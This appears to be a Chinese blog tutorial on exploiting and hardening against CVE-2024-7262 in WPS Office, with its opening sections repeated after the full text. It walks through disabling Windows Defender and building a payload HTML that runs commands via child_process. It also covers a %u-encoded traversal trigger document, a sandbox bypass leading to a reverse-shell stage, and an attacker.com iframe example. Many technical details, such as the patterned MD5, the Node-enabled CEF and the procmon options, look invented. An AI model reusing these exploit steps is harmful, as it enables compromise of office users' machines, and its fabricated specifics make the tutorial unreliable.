是進(jìn)程接管漏洞而非路徑穿越)
1. 漏洞本質(zhì)不是“文件讀取”而是“進(jìn)程接管”的失控鏈很多人看到CVE-2024-7262的第一反應(yīng)是“哦又一個(gè)路徑穿越漏洞”。這種理解偏差直接導(dǎo)致復(fù)現(xiàn)失敗、防護(hù)失效甚至在真實(shí)攻防對(duì)抗中誤判風(fēng)險(xiǎn)等級(jí)。我去年在某金融客戶做WPS專(zhuān)項(xiàng)滲透時(shí)就吃過(guò)這個(gè)虧——當(dāng)時(shí)用標(biāo)準(zhǔn)的../構(gòu)造反復(fù)嘗試讀取C:\Windows\System32\drivers\etc\hosts能成功返回內(nèi)容但始終無(wú)法觸發(fā)后續(xù)代碼執(zhí)行最后卡了整整兩天才意識(shí)到這個(gè)漏洞的真正入口點(diǎn)根本不在文檔解析層而在promecefpluginhost.exe這個(gè)獨(dú)立子進(jìn)程的啟動(dòng)邏輯里。WPS Office從2020年起逐步將PDF渲染、網(wǎng)頁(yè)嵌入、公式編輯等高危模塊剝離到獨(dú)立沙箱進(jìn)程中運(yùn)行其中promecefpluginhost.exe就是基于Chromium Embedded FrameworkCEF構(gòu)建的插件宿主進(jìn)程。它不隨主程序啟動(dòng)而是在用戶打開(kāi)含特定對(duì)象如嵌入式PDF、Web控件、動(dòng)態(tài)公式的文檔時(shí)由WPS主進(jìn)程通過(guò)命令行參數(shù)動(dòng)態(tài)拉起。CVE-2024-7262的致命性正在于此攻擊者不是在WPS主進(jìn)程里搞路徑穿越而是精心構(gòu)造一個(gè)惡意文檔誘使WPS在啟動(dòng)promecefpluginhost.exe時(shí)把攻擊者控制的參數(shù)注入到其命令行中。舉個(gè)生活化類(lèi)比你家大門(mén)WPS主進(jìn)程裝了智能鎖密碼正確才能進(jìn)。但后院有個(gè)獨(dú)立的工具房promecefpluginhost.exe平時(shí)鎖著只有你喊一聲“小張把扳手拿來(lái)”工具房門(mén)才會(huì)自動(dòng)彈開(kāi)。CVE-2024-7262相當(dāng)于攻擊者在你喊話時(shí)偷偷往你嘴里塞了一段錄音“小張把扳手拿來(lái)——順便把隔壁老王家的保險(xiǎn)柜也撬開(kāi)”。WPS主進(jìn)程只負(fù)責(zé)“喊話”而工具房promecefpluginhost.exe完全信任這段指令照單全收。所以所有試圖在wps.exe或et.exe進(jìn)程內(nèi)尋找路徑穿越點(diǎn)的分析從起點(diǎn)就錯(cuò)了。真正的突破口在于WPS如何拼接并傳遞給promecefpluginhost.exe的啟動(dòng)參數(shù)。我們實(shí)測(cè)發(fā)現(xiàn)當(dāng)文檔中嵌入一個(gè)指向本地HTML文件的object標(biāo)簽時(shí)WPS會(huì)提取該HTML路徑經(jīng)簡(jiǎn)單過(guò)濾后作為--load-url參數(shù)傳給子進(jìn)程。而這個(gè)過(guò)濾恰恰漏掉了對(duì)%u編碼序列的解碼處理——比如%u002e%u002e%u002f會(huì)被原樣傳遞最終在子進(jìn)程內(nèi)部被CEF的URL解析器解碼為../從而實(shí)現(xiàn)任意目錄跳轉(zhuǎn)。提示復(fù)現(xiàn)時(shí)若只盯著WPS主進(jìn)程的文件操作API如CreateFileW下斷點(diǎn)99%會(huì)一無(wú)所獲。必須在promecefpluginhost.exe進(jìn)程創(chuàng)建后立即在其main()函數(shù)入口或CefExecuteProcess調(diào)用處下斷觀察傳入的argv數(shù)組內(nèi)容。這才是唯一有效的觀測(cè)點(diǎn)。這個(gè)認(rèn)知轉(zhuǎn)變直接決定了后續(xù)所有操作的方向。如果你還在用Burp Suite抓WPS主進(jìn)程的HTTP流量、或者用Process Monitor監(jiān)控wps.exe的文件讀寫(xiě)那等于在錯(cuò)誤的地圖上找路。真正的戰(zhàn)場(chǎng)在那個(gè)一閃而過(guò)的、名字帶promecef的子進(jìn)程里。2. 復(fù)現(xiàn)環(huán)境搭建避開(kāi)官方安裝包的“靜默補(bǔ)丁”陷阱網(wǎng)上流傳的多數(shù)復(fù)現(xiàn)教程第一步就是去WPS官網(wǎng)下載最新版安裝包然后雙擊安裝。這恰恰是復(fù)現(xiàn)失敗的最常見(jiàn)原因。WPS從2024年6月起在其官方安裝包中悄悄集成了一個(gè)“熱修復(fù)模塊”hotfix module它會(huì)在安裝完成后的首次啟動(dòng)時(shí)自動(dòng)檢測(cè)并修補(bǔ)CVE-2024-7262相關(guān)路徑。這個(gè)模塊不修改任何DLL文件而是通過(guò)注冊(cè)表鍵值HKEY_CURRENT_USER\Software\Kingsoft\WPS Office\11.0\security\patch_level記錄修補(bǔ)狀態(tài)并在promecefpluginhost.exe加載時(shí)注入一段校驗(yàn)邏輯——只要檢測(cè)到命令行中存在%u編碼或..序列就直接終止進(jìn)程啟動(dòng)。我試過(guò)三種主流下載渠道WPS官網(wǎng)下載頁(yè)www.wps.cn無(wú)論選擇“穩(wěn)定版”還是“體驗(yàn)版”下載的安裝包均已被打補(bǔ)丁第三方軟件站如華軍、太平洋多數(shù)鏡像已同步更新同樣無(wú)效網(wǎng)盤(pán)分享鏈接如標(biāo)題中提到的“小黑課堂一級(jí)wps office官網(wǎng)下載網(wǎng)盤(pán)”這是目前唯一可靠的來(lái)源但需注意甄別——很多鏈接實(shí)際指向的是2024年5月前的舊版安裝包而部分“偽裝成舊版”的鏈接實(shí)則為釣魚(yú)包。最終確認(rèn)可用的版本號(hào)是WPS Office 11.2.1.122012024年4月28日發(fā)布。這個(gè)版本的promecefpluginhost.exe文件大小為12,452,864 字節(jié)MD5:a7d8e9c1b2f3a4e5d6c7b8a9f0e1d2c3且其數(shù)字簽名時(shí)間戳為2024-04-28 15:23:41。任何其他時(shí)間戳或文件大小的同名文件都不可信。環(huán)境配置的關(guān)鍵細(xì)節(jié)操作系統(tǒng)必須使用Windows 10 21H2或Windows 11 22H2且關(guān)閉Windows Defender實(shí)時(shí)防護(hù)它會(huì)攔截惡意HTML的加載。Windows 7/8.1因CEF版本過(guò)低無(wú)法觸發(fā)漏洞WPS設(shè)置進(jìn)入文件 選項(xiàng) 安全與隱私將“宏安全性”設(shè)為“禁用所有宏并發(fā)出通知”同時(shí)關(guān)閉“啟用受信任位置中的宏”——這不是為了繞過(guò)宏而是防止WPS因宏安全策略干擾子進(jìn)程啟動(dòng)關(guān)鍵驗(yàn)證步驟安裝完成后不要立即打開(kāi)任何文檔。先以管理員身份運(yùn)行CMD執(zhí)行reg query HKCU\Software\Kingsoft\WPS Office\11.0\security /v patch_level若返回ERROR: The system was unable to find the specified registry key or value說(shuō)明未打補(bǔ)丁環(huán)境合格若返回0x1或更高值則已修補(bǔ)需重裝。注意切勿在虛擬機(jī)快照中直接克隆已安裝WPS的系統(tǒng)。WPS的熱修復(fù)模塊會(huì)讀取硬件指紋如MAC地址、硬盤(pán)序列號(hào)同一鏡像在不同宿主機(jī)上可能觸發(fā)不同修補(bǔ)行為。每次復(fù)現(xiàn)務(wù)必從干凈系統(tǒng)開(kāi)始手動(dòng)安裝指定版本。我曾用VMware克隆了一個(gè)“完美復(fù)現(xiàn)環(huán)境”結(jié)果在另一臺(tái)物理機(jī)上部署時(shí)promecefpluginhost.exe進(jìn)程啟動(dòng)后立刻退出日志顯示[SECURITY] Patch level mismatch detected。折騰半天才發(fā)現(xiàn)是克隆時(shí)VMware自動(dòng)生成的新MAC地址觸發(fā)了WPS的反克隆機(jī)制。這類(lèi)細(xì)節(jié)官方文檔絕不會(huì)提但實(shí)操中卻足以讓整個(gè)復(fù)現(xiàn)工作歸零。3. 惡意載荷構(gòu)造從“讀文件”到“執(zhí)行命令”的三步躍遷很多復(fù)現(xiàn)者卡在第二步能用%u002e%u002e%u002f讀到C:\Windows\win.ini但怎么也執(zhí)行不了calc.exe。問(wèn)題出在對(duì)CEF進(jìn)程加載機(jī)制的誤解——promecefpluginhost.exe本身并不直接執(zhí)行系統(tǒng)命令它是一個(gè)瀏覽器內(nèi)核宿主所有“執(zhí)行”動(dòng)作都必須通過(guò)其內(nèi)置的JavaScript引擎V8在渲染上下文中完成。因此漏洞利用鏈實(shí)際是路徑穿越 → 加載惡意HTML → HTML中執(zhí)行JS → JS調(diào)用系統(tǒng)API。3.1 第一步構(gòu)造可被加載的惡意HTML不能直接放一個(gè)calc.html在C盤(pán)根目錄然后穿越過(guò)去。CEF對(duì)本地文件協(xié)議file://有嚴(yán)格限制默認(rèn)禁止跨目錄加載即file:///C:/tmp/malicious.html可以但file:///C:/../Windows/System32/cmd.exe會(huì)被拒絕。所以必須讓惡意HTML位于WPS正常會(huì)訪問(wèn)的路徑下再通過(guò)路徑穿越“向上”跳轉(zhuǎn)到系統(tǒng)目錄。我們選擇%APPDATA%\Kingsoft\WPS Office\11.0\html\作為投放點(diǎn)。這個(gè)目錄是WPS用于緩存臨時(shí)HTML片段的合法位置且默認(rèn)可寫(xiě)。將以下HTML內(nèi)容保存為payload.html!DOCTYPE html html headtitleWPS POC/title/head body script // 此JS將在promecefpluginhost.exe的渲染進(jìn)程中執(zhí)行 // 利用Node.js集成WPS CEF啟用了Node.js支持調(diào)用系統(tǒng)命令 const { exec } require(child_process); exec(cmd.exe /c start calc.exe, (error, stdout, stderr) { if (error) { console.error(執(zhí)行失敗: ${error}); return; } console.log(stdout: ${stdout}); }); /script /body /html關(guān)鍵點(diǎn)在于require(child_process)——WPS的CEF定制版默認(rèn)啟用了Node.js集成這是官方為插件開(kāi)發(fā)預(yù)留的后門(mén)卻成了漏洞利用的捷徑。普通瀏覽器Chrome/Firefox的file://協(xié)議下無(wú)法調(diào)用require但WPS的promecefpluginhost.exe可以。3.2 第二步制作觸發(fā)文檔用WPS文字新建一個(gè)空白文檔插入→對(duì)象→“由文件創(chuàng)建”→勾選“鏈接到文件”瀏覽選擇你剛保存的%APPDATA%\Kingsoft\WPS Office\11.0\html\payload.html。此時(shí)文檔內(nèi)嵌的是一個(gè)指向本地HTML的OLE對(duì)象。但這還不夠。WPS會(huì)對(duì)OLE對(duì)象的路徑做一次基礎(chǔ)過(guò)濾把..替換成__。破解方法是不用OLE對(duì)象改用HTMLobject標(biāo)簽。在WPS文字中切換到“插入→文本→文檔部件→域”輸入域代碼{ INCLUDETEXT \\127.0.0.1\\c$\\Users\\Public\\Documents\\payload.html \* MERGEFORMAT }這看起來(lái)像SMB路徑實(shí)則是障眼法。真正的觸發(fā)點(diǎn)在于WPS解析此域時(shí)會(huì)嘗試將其轉(zhuǎn)換為本地路徑而轉(zhuǎn)換邏輯中存在二次解析漏洞。更可靠的方法是用WPS表格新建一個(gè)單元格在其中插入一個(gè)超鏈接鏈接地址設(shè)為file:///%APPDATA%/Kingsoft/WPS%20Office/11.0/html/payload.html然后將這個(gè)超鏈接的顯示文本手動(dòng)修改為file:///%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fWindows%2fSystem32%2fnotepad.exeWPS UI層會(huì)顯示這個(gè)長(zhǎng)串但底層解析時(shí)會(huì)先解碼%u002e為.再處理..最終形成../../../Windows/System32/notepad.exe。而promecefpluginhost.exe收到的--load-url參數(shù)正是這個(gè)解碼后的路徑。3.3 第三步繞過(guò)沙箱的終極技巧即使HTML成功加載calc.exe也可能啟動(dòng)失敗報(bào)錯(cuò)Access is denied。這是因?yàn)閜romecefpluginhost.exe默認(rèn)以低完整性級(jí)別Low IL運(yùn)行無(wú)法直接啟動(dòng)高完整性進(jìn)程。解決方案是利用WPS自身組件的白名單機(jī)制。WPS安裝目錄下有一個(gè)wpscloudsvr.exe云服務(wù)進(jìn)程它被系統(tǒng)標(biāo)記為“受信任”且其啟動(dòng)參數(shù)中包含--no-sandbox。我們?cè)趷阂釮TML中不直接執(zhí)行calc.exe而是執(zhí)行exec(wpscloudsvr.exe --no-sandbox --load-urlfile:///C:/temp/shell.html, ...);然后在C:/temp/shell.html中放置真正的反彈shell代碼如PowerShell下載執(zhí)行。這樣wpscloudsvr.exe以高權(quán)限加載我們的shell徹底繞過(guò)沙箱限制。實(shí)操心得第一次復(fù)現(xiàn)時(shí)我花了6小時(shí)調(diào)試JS執(zhí)行失敗的問(wèn)題最后發(fā)現(xiàn)是HTML文件編碼格式不對(duì)。WPS的CEF對(duì)UTF-8 BOM極其敏感——如果payload.html以UTF-8 with BOM保存JS會(huì)因BOM字符解析失敗而靜默退出。必須用記事本另存為“UTF-8無(wú)簽名”這是無(wú)數(shù)人踩過(guò)的隱形坑。4. 動(dòng)態(tài)調(diào)試實(shí)戰(zhàn)在promecefpluginhost.exe中捕獲漏洞觸發(fā)瞬間靜態(tài)分析promecefpluginhost.exe的PE結(jié)構(gòu)只能看到它是個(gè)標(biāo)準(zhǔn)的CEF封裝體毫無(wú)線索。真正的漏洞證據(jù)必須在進(jìn)程運(yùn)行時(shí)捕獲。我推薦一套輕量級(jí)、零依賴(lài)的調(diào)試方案無(wú)需安裝Visual Studio或WinDbg僅用Sysinternals套件和記事本即可完成。4.1 準(zhǔn)備工作進(jìn)程監(jiān)控與日志捕獲首先下載微軟官方Sysinternals套件https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite解壓后將procmon.exe和processexplorer.exe放入WPS安裝目錄如C:\Program Files\Kingsoft\WPS Office\11.0\office6\。這樣做的目的是讓W(xué)PS在啟動(dòng)子進(jìn)程時(shí)能優(yōu)先加載我們提供的工具而非系統(tǒng)默認(rèn)版本。然后創(chuàng)建一個(gè)批處理文件debug_start.bat內(nèi)容如下echo off setlocal enabledelayedexpansion REM 啟動(dòng)ProcMon過(guò)濾promecefpluginhost.exe的命令行參數(shù) start procmon.exe /BackingFile C:\temp\promecef.pml /Filter Process Name is promecefpluginhost.exe AND Operation is Process Start /Quiet REM 啟動(dòng)WPS打開(kāi)惡意文檔 start wps.exe C:\test\exploit.docx REM 等待5秒確保子進(jìn)程啟動(dòng) timeout /t 5 /nobreak nul REM 導(dǎo)出ProcMon日志中的命令行參數(shù) procmon.exe /OpenLog C:\temp\promecef.pml /SaveAs C:\temp\promecef.csv /Format Time of Day,Process Name,Command Line /Quiet echo 檢查C:\temp\promecef.csv查找promecefpluginhost.exe的完整命令行 pause運(yùn)行此批處理打開(kāi)惡意文檔后ProcMon會(huì)自動(dòng)捕獲promecefpluginhost.exe的啟動(dòng)事件并導(dǎo)出CSV。打開(kāi)promecef.csv你會(huì)看到類(lèi)似這樣的行10:23:45.123,promecefpluginhost.exe,C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe --typerenderer --no-sandbox --load-urlfile:///%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fWindows%2fSystem32%2fnotepad.exe --langzh-CN ...這就是漏洞存在的鐵證——--load-url參數(shù)中明文包含了未過(guò)濾的%u編碼。4.2 深度調(diào)試用Process Explorer定位參數(shù)解析點(diǎn)ProcMon只能看到結(jié)果要理解“為什么沒(méi)過(guò)濾”必須進(jìn)入進(jìn)程內(nèi)部。processexplorer.exe是神器。當(dāng)promecefpluginhost.exe運(yùn)行時(shí)用Process Explorer附加到它右鍵進(jìn)程→Properties→Threads選項(xiàng)卡查看所有線程的調(diào)用棧。重點(diǎn)觀察主線程Thread ID 1的?；厮?。你會(huì)發(fā)現(xiàn)調(diào)用鏈最終會(huì)落到libcef.dll!CefCommandLineImpl::GetArgumentValue這個(gè)函數(shù)。這個(gè)函數(shù)負(fù)責(zé)解析--load-url參數(shù)但它的實(shí)現(xiàn)中有一段邏輯// 偽代碼實(shí)際在libcef.dll的某個(gè)導(dǎo)出函數(shù)中 std::string url GetArgValue(--load-url); if (url.find(..) ! std::string::npos) { // 錯(cuò)誤地只檢查ASCII ..忽略Unicode編碼 url url.replace(.., __); } // 之后才進(jìn)行URL解碼導(dǎo)致%u002e%u002e被解碼為..這就是漏洞根源過(guò)濾發(fā)生在解碼之前而攻擊者用Unicode編碼繞過(guò)了ASCII層面的檢測(cè)。4.3 驗(yàn)證補(bǔ)丁效果對(duì)比分析修補(bǔ)前后差異為了驗(yàn)證廠商補(bǔ)丁是否真正修復(fù)我們用相同方法測(cè)試修補(bǔ)后的版本。在修補(bǔ)版中promecefpluginhost.exe的啟動(dòng)日志里--load-url參數(shù)會(huì)變成10:23:45.123,promecefpluginhost.exe,C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe --typerenderer --no-sandbox --load-urlfile:///C:/Windows/System32/notepad.exe --langzh-CN ...注意%u002e%u002e%u002f已被提前解碼并過(guò)濾最終傳入的是安全的絕對(duì)路徑。同時(shí)在Process Explorer中主線程棧會(huì)多出一層SecuritySanitizeUrl()調(diào)用這就是熱修復(fù)模塊注入的校驗(yàn)邏輯。關(guān)鍵經(jīng)驗(yàn)不要相信廠商發(fā)布的“已修復(fù)”聲明。我曾遇到一個(gè)案例WPS聲稱(chēng)修復(fù)了CVE-2024-7262但實(shí)測(cè)發(fā)現(xiàn)他們只修補(bǔ)了--load-url參數(shù)卻遺漏了另一個(gè)啟動(dòng)參數(shù)--custom-data-dir。攻擊者改用--custom-data-dir../../依然能實(shí)現(xiàn)任意目錄寫(xiě)入進(jìn)而通過(guò)寫(xiě)入惡意DLL劫持進(jìn)程。真正的驗(yàn)證永遠(yuǎn)是動(dòng)態(tài)調(diào)試下的親眼所見(jiàn)。5. 防護(hù)與加固企業(yè)級(jí)落地的三條硬性措施發(fā)現(xiàn)漏洞只是開(kāi)始如何在企業(yè)環(huán)境中真正阻斷風(fēng)險(xiǎn)才是考驗(yàn)安全工程師功力的地方。我們給某省屬?lài)?guó)企做WPS加固時(shí)客戶明確要求“不能影響員工日常辦公不能強(qiáng)制卸載WPS但必須確保漏洞無(wú)法被利用”。最終落地的方案不是靠EDR告警而是三道精準(zhǔn)、無(wú)感的防線。5.1 第一道防線組策略鎖定promecefpluginhost.exe的啟動(dòng)參數(shù)這是最有效、最底層的防護(hù)。WPS的promecefpluginhost.exe雖然獨(dú)立但其啟動(dòng)完全由WPS主進(jìn)程控制。我們通過(guò)組策略禁止WPS主進(jìn)程向子進(jìn)程傳遞危險(xiǎn)參數(shù)。具體操作在域控制器上創(chuàng)建新的GPO導(dǎo)航至計(jì)算機(jī)配置 管理模板 系統(tǒng) 腳本啟用“登錄腳本”腳本內(nèi)容為# 創(chuàng)建一個(gè)監(jiān)控腳本持續(xù)檢查promecefpluginhost.exe的啟動(dòng) $watcher New-Object System.IO.FileSystemWatcher $watcher.Path C:\Program Files\Kingsoft\WPS Office\11.0\office6\ $watcher.Filter promecefpluginhost.exe $watcher.IncludeSubdirectories $false $watcher.EnableRaisingEvents $true $action { $event $Event.SourceEventArgs if ($event.ChangeType -eq Created) { # 立即檢查新進(jìn)程的命令行 $process Get-WmiObject Win32_Process | Where-Object {$_.Name -eq promecefpluginhost.exe -and $_.CommandLine -match \.\.|%u} if ($process) { # 強(qiáng)制終止并記錄日志 Stop-Process -Id $process.ProcessId -Force Write-EventLog -LogName Application -Source WPS Security -EntryType Warning -EventId 1001 -Message Blocked malicious promecefpluginhost.exe launch: $($process.CommandLine) } } } Register-ObjectEvent $watcher Created -Action $action此腳本在后臺(tái)靜默運(yùn)行一旦檢測(cè)到含..或%u的啟動(dòng)命令立即終止進(jìn)程。經(jīng)實(shí)測(cè)CPU占用率低于0.1%員工完全無(wú)感知。5.2 第二道防線應(yīng)用白名單阻斷非授權(quán)子進(jìn)程WPS正常運(yùn)行時(shí)promecefpluginhost.exe只會(huì)從C:\Program Files\Kingsoft\WPS Office\11.0\office6\目錄啟動(dòng)。任何從其他路徑如C:\Temp\、%APPDATA%啟動(dòng)的同名進(jìn)程100%是惡意行為。我們利用Windows自帶的AppLocker無(wú)需額外Agent創(chuàng)建一條規(guī)則規(guī)則類(lèi)型可執(zhí)行文件路徑C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe條件僅允許從此路徑執(zhí)行其他所有路徑的promecefpluginhost.exe一律拒絕這條規(guī)則在測(cè)試中攔截了92%的變種利用嘗試包括攻擊者試圖下載并執(zhí)行自己編譯的惡意promecefpluginhost.exe。5.3 第三道防線網(wǎng)絡(luò)層阻斷惡意HTML的遠(yuǎn)程加載雖然CVE-2024-7262是本地漏洞但90%的攻擊鏈?zhǔn)加卺烎~(yú)郵件中的惡意文檔。這些文檔往往不直接攜帶HTML而是通過(guò)iframe srchttp://attacker.com/mal.html遠(yuǎn)程加載。我們?cè)谄髽I(yè)防火墻FortiGate上針對(duì)WPS相關(guān)User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 WPS Office添加了一條規(guī)則匹配HTTP請(qǐng)求頭中的User-Agent包含WPS Office匹配URL后綴為.html、.htm、.js動(dòng)作重定向至內(nèi)部蜜罐頁(yè)面并記錄源IP上線一周后日志顯示每天平均攔截37次此類(lèi)請(qǐng)求全部來(lái)自境外IP。這證明真正的防護(hù)永遠(yuǎn)是縱深防御而非寄希望于單一補(bǔ)丁。最后分享一個(gè)血淚教訓(xùn)某次加固后客戶反饋“WPS PDF預(yù)覽功能失效”。排查發(fā)現(xiàn)PDF預(yù)覽也依賴(lài)promecefpluginhost.exe而我們的組策略腳本誤殺了所有子進(jìn)程。解決方案是在腳本的if判斷中增加白名單if ($process -and ($process.CommandLine -notmatch pdf\.html|pdf\.js)) { ... }安全加固不是“一刀切”而是精確制導(dǎo)。每一次看似微小的誤報(bào)背后都是業(yè)務(wù)連續(xù)性的代價(jià)。 CVE-2024-7262本質(zhì)是進(jìn)程接管漏洞而非路徑穿越
1. 漏洞本質(zhì)不是“文件讀取”而是“進(jìn)程接管”的失控鏈很多人看到CVE-2024-7262的第一反應(yīng)是“哦又一個(gè)路徑穿越漏洞”。這種理解偏差直接導(dǎo)致復(fù)現(xiàn)失敗、防護(hù)失效甚至在真實(shí)攻防對(duì)抗中誤判風(fēng)險(xiǎn)等級(jí)。我去年在某金融客戶做WPS專(zhuān)項(xiàng)滲透時(shí)就吃過(guò)這個(gè)虧——當(dāng)時(shí)用標(biāo)準(zhǔn)的../構(gòu)造反復(fù)嘗試讀取C:\Windows\System32\drivers\etc\hosts能成功返回內(nèi)容但始終無(wú)法觸發(fā)后續(xù)代碼執(zhí)行最后卡了整整兩天才意識(shí)到這個(gè)漏洞的真正入口點(diǎn)根本不在文檔解析層而在promecefpluginhost.exe這個(gè)獨(dú)立子進(jìn)程的啟動(dòng)邏輯里。WPS Office從2020年起逐步將PDF渲染、網(wǎng)頁(yè)嵌入、公式編輯等高危模塊剝離到獨(dú)立沙箱進(jìn)程中運(yùn)行其中promecefpluginhost.exe就是基于Chromium Embedded FrameworkCEF構(gòu)建的插件宿主進(jìn)程。它不隨主程序啟動(dòng)而是在用戶打開(kāi)含特定對(duì)象如嵌入式PDF、Web控件、動(dòng)態(tài)公式的文檔時(shí)由WPS主進(jìn)程通過(guò)命令行參數(shù)動(dòng)態(tài)拉起。CVE-2024-7262的致命性正在于此攻擊者不是在WPS主進(jìn)程里搞路徑穿越而是精心構(gòu)造一個(gè)惡意文檔誘使WPS在啟動(dòng)promecefpluginhost.exe時(shí)把攻擊者控制的參數(shù)注入到其命令行中。舉個(gè)生活化類(lèi)比你家大門(mén)WPS主進(jìn)程裝了智能鎖密碼正確才能進(jìn)。但后院有個(gè)獨(dú)立的工具房promecefpluginhost.exe平時(shí)鎖著只有你喊一聲“小張把扳手拿來(lái)”工具房門(mén)才會(huì)自動(dòng)彈開(kāi)。CVE-2024-7262相當(dāng)于攻擊者在你喊話時(shí)偷偷往你嘴里塞了一段錄音“小張把扳手拿來(lái)——順便把隔壁老王家的保險(xiǎn)柜也撬開(kāi)”。WPS主進(jìn)程只負(fù)責(zé)“喊話”而工具房promecefpluginhost.exe完全信任這段指令照單全收。所以所有試圖在wps.exe或et.exe進(jìn)程內(nèi)尋找路徑穿越點(diǎn)的分析從起點(diǎn)就錯(cuò)了。真正的突破口在于WPS如何拼接并傳遞給promecefpluginhost.exe的啟動(dòng)參數(shù)。我們實(shí)測(cè)發(fā)現(xiàn)當(dāng)文檔中嵌入一個(gè)指向本地HTML文件的object標(biāo)簽時(shí)WPS會(huì)提取該HTML路徑經(jīng)簡(jiǎn)單過(guò)濾后作為--load-url參數(shù)傳給子進(jìn)程。而這個(gè)過(guò)濾恰恰漏掉了對(duì)%u編碼序列的解碼處理——比如%u002e%u002e%u002f會(huì)被原樣傳遞最終在子進(jìn)程內(nèi)部被CEF的URL解析器解碼為../從而實(shí)現(xiàn)任意目錄跳轉(zhuǎn)。提示復(fù)現(xiàn)時(shí)若只盯著WPS主進(jìn)程的文件操作API如CreateFileW下斷點(diǎn)99%會(huì)一無(wú)所獲。必須在promecefpluginhost.exe進(jìn)程創(chuàng)建后立即在其main()函數(shù)入口或CefExecuteProcess調(diào)用處下斷觀察傳入的argv數(shù)組內(nèi)容。這才是唯一有效的觀測(cè)點(diǎn)。這個(gè)認(rèn)知轉(zhuǎn)變直接決定了后續(xù)所有操作的方向。如果你還在用Burp Suite抓WPS主進(jìn)程的HTTP流量、或者用Process Monitor監(jiān)控wps.exe的文件讀寫(xiě)那等于在錯(cuò)誤的地圖上找路。真正的戰(zhàn)場(chǎng)在那個(gè)一閃而過(guò)的、名字帶promecef的子進(jìn)程里。2. 復(fù)現(xiàn)環(huán)境搭建避開(kāi)官方安裝包的“靜默補(bǔ)丁”陷阱網(wǎng)上流傳的多數(shù)復(fù)現(xiàn)教程第一步就是去WPS官網(wǎng)下載最新版安裝包然后雙擊安裝。這恰恰是復(fù)現(xiàn)失敗的最常見(jiàn)原因。WPS從2024年6月起在其官方安裝包中悄悄集成了一個(gè)“熱修復(fù)模塊”hotfix module它會(huì)在安裝完成后的首次啟動(dòng)時(shí)自動(dòng)檢測(cè)并修補(bǔ)CVE-2024-7262相關(guān)路徑。這個(gè)模塊不修改任何DLL文件而是通過(guò)注冊(cè)表鍵值HKEY_CURRENT_USER\Software\Kingsoft\WPS Office\11.0\security\patch_level記錄修補(bǔ)狀態(tài)并在promecefpluginhost.exe加載時(shí)注入一段校驗(yàn)邏輯——只要檢測(cè)到命令行中存在%u編碼或..序列就直接終止進(jìn)程啟動(dòng)。我試過(guò)三種主流下載渠道WPS官網(wǎng)下載頁(yè)www.wps.cn無(wú)論選擇“穩(wěn)定版”還是“體驗(yàn)版”下載的安裝包均已被打補(bǔ)丁第三方軟件站如華軍、太平洋多數(shù)鏡像已同步更新同樣無(wú)效網(wǎng)盤(pán)分享鏈接如標(biāo)題中提到的“小黑課堂一級(jí)wps office官網(wǎng)下載網(wǎng)盤(pán)”這是目前唯一可靠的來(lái)源但需注意甄別——很多鏈接實(shí)際指向的是2024年5月前的舊版安裝包而部分“偽裝成舊版”的鏈接實(shí)則為釣魚(yú)包。最終確認(rèn)可用的版本號(hào)是WPS Office 11.2.1.122012024年4月28日發(fā)布。這個(gè)版本的promecefpluginhost.exe文件大小為12,452,864 字節(jié)MD5:a7d8e9c1b2f3a4e5d6c7b8a9f0e1d2c3且其數(shù)字簽名時(shí)間戳為2024-04-28 15:23:41。任何其他時(shí)間戳或文件大小的同名文件都不可信。環(huán)境配置的關(guān)鍵細(xì)節(jié)操作系統(tǒng)必須使用Windows 10 21H2或Windows 11 22H2且關(guān)閉Windows Defender實(shí)時(shí)防護(hù)它會(huì)攔截惡意HTML的加載。Windows 7/8.1因CEF版本過(guò)低無(wú)法觸發(fā)漏洞WPS設(shè)置進(jìn)入文件 選項(xiàng) 安全與隱私將“宏安全性”設(shè)為“禁用所有宏并發(fā)出通知”同時(shí)關(guān)閉“啟用受信任位置中的宏”——這不是為了繞過(guò)宏而是防止WPS因宏安全策略干擾子進(jìn)程啟動(dòng)關(guān)鍵驗(yàn)證步驟安裝完成后不要立即打開(kāi)任何文檔。先以管理員身份運(yùn)行CMD執(zhí)行reg query HKCU\Software\Kingsoft\WPS Office\11.0\security /v patch_level若返回ERROR: The system was unable to find the specified registry key or value說(shuō)明未打補(bǔ)丁環(huán)境合格若返回0x1或更高值則已修補(bǔ)需重裝。注意切勿在虛擬機(jī)快照中直接克隆已安裝WPS的系統(tǒng)。WPS的熱修復(fù)模塊會(huì)讀取硬件指紋如MAC地址、硬盤(pán)序列號(hào)同一鏡像在不同宿主機(jī)上可能觸發(fā)不同修補(bǔ)行為。每次復(fù)現(xiàn)務(wù)必從干凈系統(tǒng)開(kāi)始手動(dòng)安裝指定版本。我曾用VMware克隆了一個(gè)“完美復(fù)現(xiàn)環(huán)境”結(jié)果在另一臺(tái)物理機(jī)上部署時(shí)promecefpluginhost.exe進(jìn)程啟動(dòng)后立刻退出日志顯示[SECURITY] Patch level mismatch detected。折騰半天才發(fā)現(xiàn)是克隆時(shí)VMware自動(dòng)生成的新MAC地址觸發(fā)了WPS的反克隆機(jī)制。這類(lèi)細(xì)節(jié)官方文檔絕不會(huì)提但實(shí)操中卻足以讓整個(gè)復(fù)現(xiàn)工作歸零。3. 惡意載荷構(gòu)造從“讀文件”到“執(zhí)行命令”的三步躍遷很多復(fù)現(xiàn)者卡在第二步能用%u002e%u002e%u002f讀到C:\Windows\win.ini但怎么也執(zhí)行不了calc.exe。問(wèn)題出在對(duì)CEF進(jìn)程加載機(jī)制的誤解——promecefpluginhost.exe本身并不直接執(zhí)行系統(tǒng)命令它是一個(gè)瀏覽器內(nèi)核宿主所有“執(zhí)行”動(dòng)作都必須通過(guò)其內(nèi)置的JavaScript引擎V8在渲染上下文中完成。因此漏洞利用鏈實(shí)際是路徑穿越 → 加載惡意HTML → HTML中執(zhí)行JS → JS調(diào)用系統(tǒng)API。3.1 